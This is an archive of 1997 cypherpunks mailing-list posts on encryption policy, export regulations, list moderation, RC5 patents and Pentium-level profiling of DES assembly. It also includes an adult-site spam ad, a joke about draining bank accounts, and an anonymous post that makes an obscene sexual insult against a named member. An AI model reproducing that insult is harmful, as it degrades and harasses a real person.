MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> encrypting cell phone traffic only up to the point it hits the phone
> system wouldn't hinder L.E. access but would protect privacy. (Or,
> perhaps, would be worse in the long term since we wouldn't have such
> luscious examples.)

Actually, I wouldn't think the cops would be too hot on that idea.
Taps would require physical access to the phone network, meaning a
warrant or other specific authorization and a time delay. Worse from
the cops' perspective, the phone company will know who is being 
monitored. That means accountability, and that means leaks.

The goal will always be end-to-end "key recovery." A fixed key in the 
phone that can be cracked is much preferable to a random DH exchange, 
which would be the right way to do a last-hop-only encryption (all
from the cops' perspective, of course).

With "key recovery" currently out of favor, the cops' strategy is FUD 
and the criminalization of illegal wiretaps (by private citizens
anyway), to create a false sense of security.

In any case, evangelizing and deploying real end-to-end encryption now 
is the way to go.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 13 Jan 1997 21:37:36 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: It's a great new year!  telemarketers and solicitors
In-Reply-To: <199701131945.LAA29089@toad.com>
Message-ID: <32DB143A.26E5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:

> To me, it seems to be a breach of conduct for a company to use a mailing
> list that is not thier own as a mass mailing technique.
> Again, these are only my personal opinions.

  It's called 'whoring' (for money, i.e. prostitution).
  In case you haven't noticed, the InterNet is the new 'Gold Rush'.
Every hustler and kook from here (wherever 'this' is) to Butt Fuck,
Montana, is jumping on the 'Information Highway' to get their piece
of the action.
  The whores don't just include the "Make $$$Money$$$ Fast" spammers.
The Big Boys with the Big Toys want to make sure that our personal
information and Web History is available for them to try to squeeze
every possible penny out of our pockets.
  With the 'wonder of modern technology' at their fingertips, however,
the 'common man/woman' can also avail themselves of the plethora of
information lying within reach of their sticky little fingers.

  Big Brother wants to know everything about everybody, and if the
average user gets tired of Little Brother getting ahold of the 
information, then I am sure that Big Brother will come to our
rescue, passing laws and instituting regualtions that 'save' us
by ensuring that only Big Brother knows all.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Mon, 13 Jan 1997 21:25:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: And she's no blond.....
Message-ID: <Pine.GUL.3.95.970113212300.5533B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


[joke from article <Sa8f.6014@clarinet.com>]

Soon you'll be able to count on that kind of personal service from
AltaVista, which recently paired with DoubleClick. Look where the banner
ads take you now. 

-rich





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mailbox@softcell.net
Date: Mon, 13 Jan 1997 18:28:47 -0800 (PST)
Subject: Network Neighbor
Message-ID: <19970114022133.AAE1930@Default>
MIME-Version: 1.0
Content-Type: text/plain




Dear Neighbor:

I selected your name from an Internet Email Provider.  Please accept my
apologies if I have offended you by sending you this email.  I will not send
you any more email again.  If you read on you will understand why I sent
it and will hopefully forgive me if you found this email to be an intrusion
of your space.

I am part of a small Internet company from San Francisco that recently
brought on-line the largest collection of high-end Dungeon toys and
apparel in the world.  We really are the largest!!  We have thousands of
items.  You won't believe  the stuff we sell: HUMAN CAGES, RACKS,
LEATHER AND RUBBER STRAIT JACKETS,  IRONS, and much
more.  Some items are so unique and sexually special that it would be
inappropriate to mention them in this email.  If we don't have it, we can
find it or make it!  We don't sell cheap Asian imports.  In fact, most of
those items are cheap imitations of ours.  We display our products using
provocative and very entertaining interactive pictorials.

Along the way, with input and help from our select members, we have
added instructional VIDEOS, action VIDEOS,  DUNGEON CHAT,
PERSONALS, ADVICE COLUMNS, Erotic Photo Contest,  Erotic
Writing Contest, and one of our most exciting sections, "THE EXOTIC
EROTIC BALL"  PICTORIAL.

This year we sent 10 photographers to San Francisco's Exotic Erotic Ball, 
the largest adult Halloween Ball in the world.  We took over a 1,000
photos.  We categorized them into over a dozen sections, including: Breast
of the Exotic Erotic,  Caught in the Act (People filmed having sex at the
ball),  Cool Female Costumes,  etc..

Our site has grown into the largest Dungeon Fantasy site on the net and in
the world.  We have developed and grown the site based on our members'
requirements.  It worked out so well, we decided to let other interested
neighbors know about it and share our enjoyment.

That is why I have emailed you.  We are a small company that now has the
largest Dungeon site in the world.  We can not afford to do a major PR
campaign to share what our members and we have built.  So, we selected a
few network neighbors like you, in the hope that you might explore our
services and then tell others.

If you would like to see what we have,  please check out our URLs:

       http://www.sfdungeon.com

                For Video
       http://www.dungeonvideo.com

                For Personals
       http://www.dungeonpersonals.com

You can email me at synder@softcell.net

Thank you for taking the time to read this letter.


Sincerely

Ken Synder


P.S.  Again, if I have offended you with this email, please accept my
apologies.  I WILL NOT EMAIL YOU AGAIN.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 13 Jan 1997 21:39:11 -0800 (PST)
To: Ian Goldberg <risks@CSL.sri.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <3.0.32.19970113210258.006ade10@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 05:45 PM 1/13/97 -0800, Ian Goldberg wrote:
>After _very_ careful reading of the Export Administration Regulations (EAR)
>(though IANAL), it would seem that the above is slightly inaccurate.
[...]
>Therefore, it would seem that, as long as the security software on your ftp
>or WWW site is free of cost, it is OK to keep it there.  Commercial
>security software, however, remains export-restricted.

I concur with Ian Goldberg's careful analysis (thanks, Ian!) that
*freeware* data security software that does not use cryptography is indeed
not covered under the new regs.

Commercial data security software of any kind, regardless if it uses crypto
or not, is however prohibited from being distributed via the Internet or
being exported by any other means. Note that such software was explicitly
exempt from export regulations under the old ITAR. Now it is explicitly
included in the EAR.

I fail to see a rationale behind this change. But then, I fail to see the
rationale behind the entire ITAR/EAR scheme.

As always, IANAL,



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 13 Jan 1997 19:56:37 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701132323.PAA02433@toad.com>
Message-ID: <199701140403.WAA01557@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701132323.PAA02433@toad.com>, on 01/13/97 at 07:23 PM,
   Sean Roach <roach_s@alph.swosu.edu> said:


>As long as a number of moderators have access, then why not also include in
>the header information the number of available moderators that gave the
>content a "thumbs up".  If this were tacked on to the front of the subject
>field, (for people like me whor are using Eudora Lite), then messages could
>be chosen, by the readers, based on the number of moderators that gave it
>approval.  Ideally, a relatively large number of moderators would be on hand so that the
>scale would be an accurate cross-reference of the groups opinions.


Not a bad ideal but I would have to dissagre with adding the information on the subject
line. It would better be put on a x-moderator: line or somthing similar. Adding
information to a subject line adds an extra level of complexity to the end users filtering
process. This has always been a beef with me when lists
modify the subject line.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtsD/49Co1n+aLhhAQFgkQQAmnY6mSTscwriK9QEOefCbsS4UYPxFA5Q
6jRYfCYht4+QbwBqIksn5b08Qe5btXrFo1bdgO4CzBwr4B8UdRxPHQC4tcEIVlIK
rmp7Nrq6c599GjddeJAs1kcZygYzf+g0K756BkigNKXqhNsGbdp+MCTvkCJzUqNp
P6WekB0Xo5A=
=uc/R
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Mon, 13 Jan 1997 19:05:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Diehard can be found at.
Message-ID: <970113154636_470327888@emout13.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I found this address for it after a couple of tries getting to the
"Diehard.html" site. I couldn't connect to that. This FTP site works though.
I found it at 

http://ourworld.compuserve.com/homepages/bob_jenkins/testsfor.htm

To qoute, "An excellent test of random sequences is DIEHARD, maintained by
George Marsaglia. You get it by ftp from stat.fsu.edu, login anonymous, cd
pub, cd diehard, then get what you want. NOTE: George needs you to send him
mail at geo@stat.fsu.edu when you download it so he can keep getting grants
to support his excellent work."

Aaron.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 13 Jan 1997 22:07:24 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <32DB2262.3A62@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Clay Olbon II wrote:
> I just caught the news reports of Newt Gingrich's cell phone calls being
> taped by "a little old retired couple" with a scanner.  These were then
> given to a congressman, who gave them to a newspaper.
> The take on this that we won't hear is: "This is outrageous!  Why don't
> cell-phones offer encryption to ensure our privacy?"
> Unfortunately, I think crypto is still so far beneath the public
> consciousness that the obvious solution to these sorts of problems is
> ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> in this case there is a law!) What I really hope this incident spawns is a
> market ...

I'm not sure what crypto will do to voice transmission, but from my
own personal example:  I just bought two Motorola portable phones
(46 mhz) with Secure Clear(r) voice scrambling.  On my AOR 8000
scanner, it sounds to my ears like very muffled Chinese.

The bad news is that when just one of these is talking to a "normal"
telephone, it cuts down a little on the clarity, and when two are
talking to each other, you have to speak very distinctly and not
quietly, to make out the softly-spoken passages.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 13 Jan 1997 22:37:36 -0800 (PST)
To: cypherpunks, gnu
Subject: You can now subscr. to the moderated/unmoderated/flames lists
Message-ID: <199701140637.WAA14213@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It's taking a bit longer than we had hoped, but I'm finally getting
the toad majordomo configuration set up for the moderation experiment.

I have set up majordomo so that you should be able to sub-scribe to the
three new cypherpunks mailing lists:

	cypherpunks		the new moderated list
	cypherpunks-unedited	same as it ever was - flames and all
	cypherpunks-flames	the flames that the moderator rejected

MODERATION HAS NOT YET BEGUN.  At the moment, a subscription to either
of the first two lists will get you everything, while a subscription
to cypherpunks-flames will get you no postings.

ALL CURRENT SUBSCRIBERS ARE STILL SUBSCRIBED TO THE CYPHERPUNKS LIST,
which will become the moderated list.  I hope most people will stay on
it, so we can get some real results from the experiment of having
a volunteer moderator for a month.

If you want to change your subscription, send mail to
<majordomo@toad.com>.  You can tell it things like:

subscribe cypherpunks-unedited	(to subscribe to the new unedited list)
unsubscribe cypherpunks		(to get off the cypherpunks list)
which				(if confused about which lists(s) you are on)
help				(if truly confused about majordomo)

The software doesn't care if you subscribe to multiple lists, but you
will probably only want to subscribe to one of them at once.  This
means that to CHANGE your subscription you will need to unsubscribe
from one list and subscribe to another.

I've only briefly looked at the list traffic on the subject of
moderation, but there seems to be a misunderstanding.  I'm planning to
keep the cypherpunks-unedited list around.  This will preserve fast
turnaround (though it frequently takes many hours to send each posting
to each list member -- it isn't *that* fast), and will permit other
people to run their own different brands of moderation if they want to
put in the effortw.  The list I have no use for, and might terminate
after trying things for a month, is the flames list.

Each message will be processed by immediately sending it to
cypherpunks-unedited.  The experimental moderator (Sandy) will be on
the -unedited list, and will therefore receive all the traffic.  He
will forward each posting to either the moderated list, or to the
-flames list.  Note:

	*  The unedited list gets fast turnaround and doesn't require any
	   human action in order to forward a message.

	*  The integrity of the flames list depends on the human moderators;
	   if they drop a message (accidentally or on purpose) then it won't
	   appear on either the moderated or the -flames list.

	John Gilmore

PS:  If you're wondering why I said "subscr." and "sub-scribe" it's because
majordomo doesn't like messages containing those words in the subject or
first five lines.  It keeps down the unintended noise from newbies who
send subscription requests to the entire list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Mon, 13 Jan 1997 23:55:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA
Message-ID: <199701140712.XAA12347@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May likes to lick the semen-shit 
mixture that accumulates in the crack of his 
mother's ass.

          __
         /_/\__
         \_\/\_\ Timmy May
         /\_\/_/
         \/_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 13 Jan 1997 23:43:33 -0800 (PST)
To: iang@cs.berkeley.edu (Ian Goldberg)
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <3.0.32.19970113234047.00759c60@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:50 PM 1/13/97 -0800, Ian Goldberg wrote:

>According to http://www.rsa.com/rsalabs/newfaq/q76.html, RSA is in the
>process of patent application for RC5.  Does that mean it's illegal to
>write a keysearch program for the RC5 challenges (unless you use BSAFE
>or something like that)?

Seems to me that a defendant who was participating in the challenge (or
working with people who were, or was getting ready to participate) would
have a strong argument that RSA gave implicit permission to use the
patented algorithm in connection with the contest, or that a patent
infringement action by RSA against a defendant who was participating in the
contest would be barred by the doctrine of equitable estoppel. (Very
broadly, equitable estoppel says that you can't tell someone "X", and then
sue them on a theory of "not X", or come to court and argue that they are
liable because of "not X".) Perhaps somewhere in the contest rules there's
a limitation on the software/source code to be used? (I poked through the
contest stuff a few days ago, and didn't see anything like that, but I got
the impression that they weren't entirely finished putting it together.)

YMMV, IANALUIPTB (.. until I pass the bar), etc. But it would be
monumentally stupid to create a contest and then punish people for
participating. The contest seems likely to do two things (beyond test the
strength of the algorithm): develop an installed multiplatform base of
optimized code which runs RC5, and give people who possess/distribute it a
legal reason for having done so. So it'll be tough to stuff the RC5 rabbit
back in the hat when the contest is over. RC5 seems destined to end up like
RSA public-key, Diffie-Hellman, and IDEA - publically available (and
probably deployed in free "rogue" software) yet only available commercially
for a fee. Presumably the RC5 patent (if one is awarded) won't suffer from
the peculiarities of the international patent schemes which made RSA only
patentable in the US.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 13 Jan 1997 23:50:30 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Checking debit
In-Reply-To: <199701132321.RAA30596@mailhub.amaranth.com>
Message-ID: <32DB4470.3813@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> >DEBIT YOUR CUSTOMERS' CHECKING ACCOUNTS ... 
> >Close sales at your Web site, close telephone sales immediately, ship
> >merchandise immediately(!) ...by drafting the customer's checking account.
> 
> 
> If they are capable of getting access to funds in an account just by a phone
> conversation this is truly a sad state of affairs for the banking community.
> 
> Could somone here with more banking background clarify this?

  From view of my own past experience, this seems to be much easier than
lugging all that acetylyne equipment into the bank in the middle of the
night.
  Sounds to me like the people using this scheme need to get ahold of
fuck@yourself.up and get a mailing list of the gullible folks who
ran the executable that he made available to the CypherPunks.
  Perhaps they could combine their projects. First you get the mark's
banking info, then you crash his hard drive to keep him busy while
you drain his account.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 14 Jan 1997 00:19:49 -0800 (PST)
To: trei@process.com>
Subject: Pentium optimizations for DES (BIG)
Message-ID: <3.0.32.19970113220836.006ab2e4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


Here is some output of the static code analysis from
Intel VTUNE of the win32.??? des crypt routine
from LIBDES 4.0

You'll have to fiddle with your text margins to get it looking
right.

Shown are the U and V pipes, clocks, and penalties for:
* unpairable instructs (PU_Inst),
* instructs dependent on previous results (Exp_Flow_Dep_???)
* addresses dependent on previous instructs (Exp_AGI_???)

and the %total time at the instruction, etc.
based on a run of "speed.c" sampled at .25 millisec intervals

A lot of the penalties are the "AGI" flavor, or "address generation interlock"
as in:

mov      bl, dl                                    1
mov      cl, dh
xor      esi, DWORD PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
<< penalty

which **maybe** can be avoided by moving (in this example)
the "mov bl,dl" to the earliest possible location where the
algorithm semantics are unchanged.  But you have to be careful not to 
kill some other pairing if you do.

If I had more time I'd do it!  ;)  But I wonder if this isn't getting
close to the point of diminishing returns ..... the overall stats for
the encrypt routine showed about 85% pairing, and averaged out to just
slightly less than 1 clock/instruction.
   

Just fyi, the total thruput on my system, a cyrix586 133, was just over 
1M encrypts/sec, CBC.
----------------------------------------------------------------------
                      Address Label           Time     Instructions
                             Clocks Penalties and Warnings Pairing Issues
      W               0x103c  des_encrypt:    0.17%   push     ebp
                             1                             Label
             V        0x103d                  0.04%   push     ebx
      U               0x103e                  0.05%   push     esi
                             1
             V        0x103f                  0.06%   push     edi
      U               0x1040                  0.04%   mov      eax, DWORD
PTR [esp+20]                   1
      W             * 0x1044                  0.11%   mov      esi, DWORD
PTR [eax]                      2      Exp_AGI_U_Pen:1        Exp_AGI
             V        0x1046                  0.07%   mov      edi, DWORD
PTR [eax+4]
      U               0x1049                  0.04%   mov      eax, edi
                             1
      N               0x104b                  0.07%   shr      eax, 4
                             1                             PU_Inst,
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x104e                  0.11%   xor      eax, esi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1050                  0.05%   and      eax,
0f0f0f0fh                            1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1055                  0.05%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x1057                  0.05%   shl      eax, 4
                             1                             PU_Inst
      W               0x105a                  0.12%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
             V        0x105c                  0.06%   mov      eax, esi
      U               0x105e                  0.06%   shr      eax, 16
                             1
      N               0x1061                  0.10%   xor      eax, edi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1063                  0.05%   and      eax, 0ffffh
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1068                  0.06%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x106a                  0.06%   shl      eax, 16
                             1                             PU_Inst
      W               0x106d                  0.11%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
             V        0x106f                  0.05%   mov      eax, edi
      U               0x1071                  0.06%   shr      eax, 2
                             1
      N               0x1074                  0.10%   xor      eax, esi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1076                  0.06%   and      eax,
033333333h                           1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x107b                  0.07%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x107d                  0.04%   shl      eax, 2
                             1                             PU_Inst
      W               0x1080                  0.13%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
             V        0x1082                  0.06%   mov      eax, esi
      U               0x1084                  0.04%   shr      eax, 8
                             1
      N               0x1087                  0.11%   xor      eax, edi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1089                  0.06%   and      eax,
0ff00ffh                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x108e                  0.06%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x1090                  0.07%   shl      eax, 8
                             1                             PU_Inst
      W               0x1093                  0.12%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
             V        0x1095                  0.04%   mov      eax, edi
      U               0x1097                  0.05%   shr      eax, 1
                             1
      N               0x1099                  0.15%   xor      eax, esi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x109b                  0.05%   and      eax,
055555555h                           1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x10a0                  0.07%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x10a2                  0.07%   shl      eax, 1
                             1                             PU_Inst
      N               0x10a4                  0.16%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x10a6                  0.06%   rol      esi, 3
                             1                             PU_Inst
      W               0x10a9                  0.11%   rol      edi, 3
                             1                             PU_Inst
             V        0x10ac                  0.13%   xor      ebx, ebx
      U               0x10ae                  0.05%   mov      eax, DWORD
PTR [esp+28]                   1
             V        0x10b2                  0.06%   xor      ecx, ecx
      U               0x10b4                  0.04%   cmp      eax, 0
                             1
             V        0x10b7                  0.06%   mov      ebp, DWORD
PTR [esp+24]
      U               0x10bb                  0.09%   je
des_encrypt+68a (16c6h)                   1
      W               0x10c1  des_encrypt+85: 0.06%   mov      edx, DWORD
PTR [ebp+4]                    1                             Basic_Block,
Prev_PV/NP
             V        0x10c4                  0.07%   mov      eax, DWORD
PTR [ebp]
      U               0x10c7                  0.05%   xor      edx, esi
                             1
             V        0x10c9                  0.06%   xor      eax, esi
      U               0x10cb                  0.05%   ror      edx, 4
                             1
             V        0x10ce                  0.11%   and      eax, -03030304h
      U               0x10d3                  0.06%   and      edx,
-03030304h                           1
             V        0x10d9                  0.05%   mov      bl, al
      U               0x10db                  0.08%   mov      cl, ah
                             1
             V      * 0x10dd                  0.14%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x10e3                  0.10%   shr      eax, 16
                             1
             V      * 0x10e6                  0.10%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x10ec                  0.10%   mov      bl, al
                             1
             V        0x10ee                  0.06%   mov      cl, ah
      U             * 0x10f0                  0.16%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x10f6                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x10fc                  0.08%   mov      bl, dl
                             1
             V        0x10fe                  0.04%   mov      cl, dh
      U             * 0x1100                  0.18%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1106                  0.11%   shr      edx, 16
                             1                             PU_Inst
             V        0x1109                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x110f                  0.11%   mov      bl, dl
                             1
             V        0x1111                  0.06%   mov      cl, dh
      U             * 0x1113                  0.16%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1119                  0.11%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x111f                  0.09%   xor      edi, eax
                             1
             V        0x1121                  0.05%   mov      edx, DWORD
PTR [ebp+12]
      U               0x1124                  0.07%   mov      eax, DWORD
PTR [ebp+8]                    1
             V        0x1127                  0.05%   xor      edx, edi
      U               0x1129                  0.05%   xor      eax, edi
                             1
      W               0x112b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x112e                  0.11%   and      eax, -03030304h
      U               0x1133                  0.06%   and      edx,
-03030304h                           1
             V        0x1139                  0.05%   mov      bl, al
      U               0x113b                  0.07%   mov      cl, ah
                             1
             V      * 0x113d                  0.17%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1143                  0.11%   shr      eax, 16
                             1
             V      * 0x1146                  0.13%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x114c                  0.11%   mov      bl, al
                             1
             V        0x114e                  0.05%   mov      cl, ah
      U             * 0x1150                  0.17%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1156                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x115c                  0.06%   mov      bl, dl
                             1
             V        0x115e                  0.05%   mov      cl, dh
      U             * 0x1160                  0.16%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1166                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x1169                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x116f                  0.09%   mov      bl, dl
                             1
             V        0x1171                  0.06%   mov      cl, dh
      U             * 0x1173                  0.19%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1179                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x117f                  0.11%   xor      esi, eax
                             1
             V        0x1181                  0.06%   mov      edx, DWORD
PTR [ebp+20]
      U               0x1184                  0.06%   mov      eax, DWORD
PTR [ebp+16]                   1
             V        0x1187                  0.05%   xor      edx, esi
      U               0x1189                  0.05%   xor      eax, esi
                             1
      W               0x118b                  0.07%   ror      edx, 4
                             1                             PU_Inst
             V        0x118e                  0.13%   and      eax, -03030304h
      U               0x1193                  0.04%   and      edx,
-03030304h                           1
             V        0x1199                  0.07%   mov      bl, al
      U               0x119b                  0.06%   mov      cl, ah
                             1
             V      * 0x119d                  0.16%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x11a3                  0.11%   shr      eax, 16
                             1
             V      * 0x11a6                  0.11%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x11ac                  0.11%   mov      bl, al
                             1
             V        0x11ae                  0.04%   mov      cl, ah
      U             * 0x11b0                  0.18%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x11b6                  0.10%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x11bc                  0.08%   mov      bl, dl
                             1
             V        0x11be                  0.05%   mov      cl, dh
      U             * 0x11c0                  0.17%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x11c6                  0.11%   shr      edx, 16
                             1                             PU_Inst
             V        0x11c9                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x11cf                  0.09%   mov      bl, dl
                             1
             V        0x11d1                  0.06%   mov      cl, dh
      U             * 0x11d3                  0.17%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x11d9                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x11df                  0.08%   xor      edi, eax
                             1
             V        0x11e1                  0.06%   mov      edx, DWORD
PTR [ebp+28]
      U               0x11e4                  0.06%   mov      eax, DWORD
PTR [ebp+24]                   1
             V        0x11e7                  0.04%   xor      edx, edi
      U               0x11e9                  0.06%   xor      eax, edi
                             1
      W               0x11eb                  0.05%   ror      edx, 4
                             1                             PU_Inst
             V        0x11ee                  0.11%   and      eax, -03030304h
      U               0x11f3                  0.04%   and      edx,
-03030304h                           1
             V        0x11f9                  0.06%   mov      bl, al
      U               0x11fb                  0.06%   mov      cl, ah
                             1
             V      * 0x11fd                  0.16%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1203                  0.12%   shr      eax, 16
                             1
             V      * 0x1206                  0.13%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x120c                  0.12%   mov      bl, al
                             1
             V        0x120e                  0.05%   mov      cl, ah
      U             * 0x1210                  0.19%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1216                  0.12%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x121c                  0.07%   mov      bl, dl
                             1
             V        0x121e                  0.05%   mov      cl, dh
      U             * 0x1220                  0.18%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1226                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x1229                  0.12%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x122f                  0.11%   mov      bl, dl
                             1
             V        0x1231                  0.06%   mov      cl, dh
      U             * 0x1233                  0.17%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1239                  0.11%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x123f                  0.11%   xor      esi, eax
                             1
             V        0x1241                  0.05%   mov      edx, DWORD
PTR [ebp+36]
      U               0x1244                  0.06%   mov      eax, DWORD
PTR [ebp+32]                   1
             V        0x1247                  0.06%   xor      edx, esi
      U               0x1249                  0.05%   xor      eax, esi
                             1
      W               0x124b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x124e                  0.13%   and      eax, -03030304h
      U               0x1253                  0.05%   and      edx,
-03030304h                           1
             V        0x1259                  0.06%   mov      bl, al
      U               0x125b                  0.08%   mov      cl, ah
                             1
             V      * 0x125d                  0.17%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1263                  0.13%   shr      eax, 16
                             1
